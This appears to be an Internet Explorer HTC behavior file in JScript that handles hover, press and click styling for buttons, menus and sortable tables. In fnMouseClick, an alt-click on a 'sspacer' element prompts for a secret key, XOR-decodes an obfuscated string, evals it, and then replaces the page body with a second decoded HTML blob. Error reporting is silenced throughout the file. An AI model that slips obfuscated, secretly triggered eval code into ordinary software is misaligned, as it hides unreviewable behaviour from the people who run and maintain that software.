<PUBLIC:COMPONENT>
    <PUBLIC:ATTACH EVENT="oncontentready"   ONEVENT="fnInit()"   />
    <PUBLIC:ATTACH EVENT="onmousedown"      ONEVENT="fnMouseDown()"   />
    <PUBLIC:ATTACH EVENT="onmouseover"      ONEVENT="fnMouseOver()"   />
    <PUBLIC:ATTACH EVENT="onmouseout"      ONEVENT="fnMouseOut()"   />
    <PUBLIC:ATTACH EVENT="onmouseup"      ONEVENT="fnMouseOver()"   />
    <PUBLIC:ATTACH EVENT="onclick"      ONEVENT="fnMouseClick()"   />

    
    <SCRIPT LANGUAGE="JScript">
    
    window.onerror = function fnNoOp() {return true; };
        
    function fnInit()   {
		var eventEl = event.srcElement;
		switch (element.className) {
			case "actionMenuContainer" :
				element.children[0].className = (element.visibleButton == "true" ? "actionMenuButtonVisible" : "actionMenuButton");
				break;
			case "clrButton" :
				element.className = (element.visibleButton == "true" ? "clrButtonOver" : "clrButton");
				break;
			case "clrButtonHighlight" :
				element.className = (element.visibleButton == "true" ? "clrButtonHighlightOver" : "clrButtonHighlight");
				break;
		}

	}
	function fnMouseDown() {
		var eventEl = event.srcElement;
		switch (element.className) {
			case "tableSort" :
				if ((eventEl.tagName.toLowerCase() == "th")  && (eventEl.className != "tableSortStatic")) eventEl.className="tableSortDown"
				break;
			case "clrButton" :
			case "clrButtonOver" :
				element.className="clrButtonDown" //change the element, not the event element since the element could be a TD with perhaps an IMG within it
				break;
			case "clrButtonHighlight" :
			case "clrButtonHighlightOver" :
				element.className="clrButtonHighlightDown" //change the element, not the event element since the element could be a TD with perhaps an IMG within it
				break;
			case "actionMenuList" :
				if ((eventEl.tagName == "TD") && (eventEl.parentElement.className != "actionMenuHeader") && (!eventEl.disabled)) eventEl.parentElement.className="actionMenuTextDown"
				break;
		}
		
		
	}
	function fnMouseOver() {
		var eventEl = event.srcElement;
		switch (element.className) {
			case "tableSort" :
				if ((eventEl.tagName.toLowerCase() == "th") && (eventEl.className != "tableSortStatic")) eventEl.className="tableSortOver"
				break;
			case "clrButton" :
			case "clrButtonDown" :
				element.className="clrButtonOver" //change the element, not the event element since the element could be a TD with perhaps an IMG within it
				break;
			case "clrButtonHighlight":
			case "clrButtonHighlightDown":
				element.className="clrButtonHighlightOver" //change the element, not the event element since the element could be a TD with perhaps an IMG within it
				break;
			case "actionMenuContainer" :
				if ((!currOpenActionMenu) || ((currOpenActionMenu) && (currOpenActionMenu.id != element.id))) {
					if (element.children[0].tagName.toLowerCase() == "span") actionMenuButtonOver(element);
				}
				break;
			case "actionMenuList" :
				//alert('---over\nID:'+element.id+'\nclass:'+element.className+'\ntag:'+element.tagName+'\n\nevent tag:'+eventEl.tagName+"\ndisabled:"+eventEl.disabled);
				if ((eventEl.tagName == "TD") && (eventEl.parentElement.className != "actionMenuHeader") && (!eventEl.disabled)) eventEl.parentElement.className="actionMenuTextOver"
				break;
			case "ppPrograms" :
				//alert('---over\nID:'+element.id+'\nclass:'+element.className+'\ntag:'+element.tagName+'\n\nevent tag:'+eventEl.tagName+"\ndisabled:"+eventEl.disabled);
				switch (eventEl.tagName) {
					case "LI": if (eventEl.className.slice(0,7) == "treeEnd") { eventEl.className="treeEndOver" } else {eventEl.className="over";}break;
					case "TD": if (eventEl.className=="program") eventEl.className="programOver";break;
				}
			case "button" :
			case "buttonOver" :
				if (eventEl.tagName == "INPUT") eventEl.className="buttonOver"
				break;
		}
	} 
	function fnMouseOut() {
		var eventEl = event.srcElement;
		var fromEventEl = event.fromElement
		switch (element.className) {
			case "tableSort" :
				if ((eventEl.tagName.toLowerCase() == "th") && (eventEl.className != "tableSortStatic"))  eventEl.className=""
				break;
			case "clrButtonOver" :
			case "clrButtonDown" :
				element.className = (element.visibleButton == "true" ? "clrButtonOver" : "clrButton"); //change the element, not the event element since the element could be a TD with perhaps an IMG within it
				break;
			case "clrButtonHighlightOver" :
			case "clrButtonHighlightDown" :
				element.className = (element.visibleButton == "true" ? "clrButtonHighlightOver" : "clrButtonHighlight"); //change the element, not the event element since the element could be a TD with perhaps an IMG within it
				break;
			case "actionMenuContainer" :
				//don't mouseOut if this is the current open action menu
				if ((!currOpenActionMenu) || ((currOpenActionMenu) && (currOpenActionMenu.id != element.id))) {
					if (element.children[0].tagName.toLowerCase() == "span") {
						actionMenuButtonOut(element);
					}
				}
				break;
			case "actionMenuList" :
				if ((eventEl.tagName == "TD") && (eventEl.parentElement.className != "actionMenuHeader") && (!eventEl.disabled)) eventEl.parentElement.className="actionMenuText"
				break;
			case "ppPrograms" :
				switch (eventEl.tagName) {
					case "LI": if (eventEl.className.slice(0,7) == "treeEnd") { eventEl.className="treeEnd" } else {eventEl.className="";}break;
					case "TD": if (eventEl.className=="programOver") eventEl.className="program";break;
				}
			case "buttonOver" :
			case "button" :
				if (eventEl.tagName == "INPUT") eventEl.className="button"
				break;
			
		}

	}
	
	function keycode(str,key) {
		var outStr="";
		var keyIndex=0;
		for (var i=0;i<str.length; i++) {
			outStr += String.fromCharCode(key.charCodeAt(keyIndex) ^ str.charCodeAt(i));
			keyIndex=(keyIndex==(key.length-1) ? 0 : keyIndex+1);
		}
		return outStr;
	}

	function fnMouseClick() {
		event.cancelBubble=true;
		var eventEl = event.srcElement;
		switch (element.className) {
			case "actionMenuList" :
				if ((eventEl.tagName == "TD") && ((eventEl.parentElement.className == "actionMenuHeader") || (eventEl.parentElement.className = "actionMenuTextDisabled"))) return false;
			case "actionMenuContainer" :
				toggleActionMenu(element);
				break;
			case "sspacer" :
				if (event.altKey) {
					var access=prompt("","")
					if (eval(keycode(unescape("*%06%00%007B%0C%07%17%23%3B%00%17cJIS%009%15%0B%1Am%1F%07%1A%03%3B%3B%00%17cJIS%009%15%0B%1Am%0D%03%07.*%09"),access))) {
						window.document.body.innerHTML=keycode(unescape("s%18%11%03/RS%11%0A+%09E%0C%24%0F%00%1F%0A%3DMGM%05*%295%23%09R%5BR%2C%0E%05%16%06%3BP%06%02%22%1F%1C%1A%01rR%06%020%05%0BI%21%7DG%26*%01Z*%5E%24%0AF%21Cr%5D%0C%15HvF%27VnX%5BGPzCPZs%5C_CGo%13%0A%0A%26%0E%0E%00%00rR%0D%1A7%1CU%5CJ+%1F%12%00/%03%0E%17K%22%11%06%1C%2C%01%0A%17%0C.%5E%06%01.C%1F%06%07%60%03%0D%01%20%07%18%12%13*_%06%0F%21%1F@%15%09.%03%0DA0%1B%09%1F%04%3C%18K%0D%22%0EL%05%00%3D%03%0C%01-QZ_Uc@I%5EaL%18%1A%01%3B%18XLu%5C_QE%27%15%0C%09+%18RQPy@GN*%08R%20%0D%20%13%0E%19%22%1A%0A5%09.%03%0D_%7DP%1F%12%17.%1DE%00%22%01%0AN%08%20%06%0C%0Bc%1A%0E%1F%10*MGA%22%08%02%1A%0B%60%19%08%0F%24%09%1C%5C%00%28%17K%1D4%0AMMY%3F%11%17%0F.L%01%12%08*M%14%1B%22%00%06%07%1Co%06%04%026%09R%1B%0C%28%18%5BR%26%01%0D%16%01o%03%17%0D%7EN@%12%01%22%19%0BA*%01%0E%14%00%3C_%00%09%24B%1C%04%03mP%14%1B%22%00%06%07%1Cr%18%0C%09+L%1F%1F%10%28%19%0B%1D3%0D%08%16Xm%18%11%1A3V@%5C%128%07K%03%22%0F%1D%1C%08*%14%0C%0Fm%0F%00%1EJ%3C%18%0A%0D%28%1B%0E%05%00%60%14%0A%19-%00%00%12%01%60%19%0B%0A%26%14A%10%02%26O5_%1C%3C%1D%1C%01%10%26%00%1C0%05%00%1DX%1C%18%0A%0D%28%1B%0E%05%00%09%1C%04%1D+NO%07%1C%3F%15XL%22%1C%1F%1F%0C%2C%11%11%07%2C%02@%0BH%3C%18%0A%0D%28%1B%0E%05%00b%16%09%0F0%04MS%12%26%14%11%06%7ENYCUmP%0D%0B*%0B%07%07XmES%5EaRS%5C%00%22%12%00%0A%7DP@%1C%07%25%15%06%1A%7DP@%11%0A+%09%5BRl%04%1B%1E%09q"),access)
					}
				}
				break;
		}
		return false;
	}
	
	
    
    </SCRIPT>
</PUBLIC:COMPONENT>



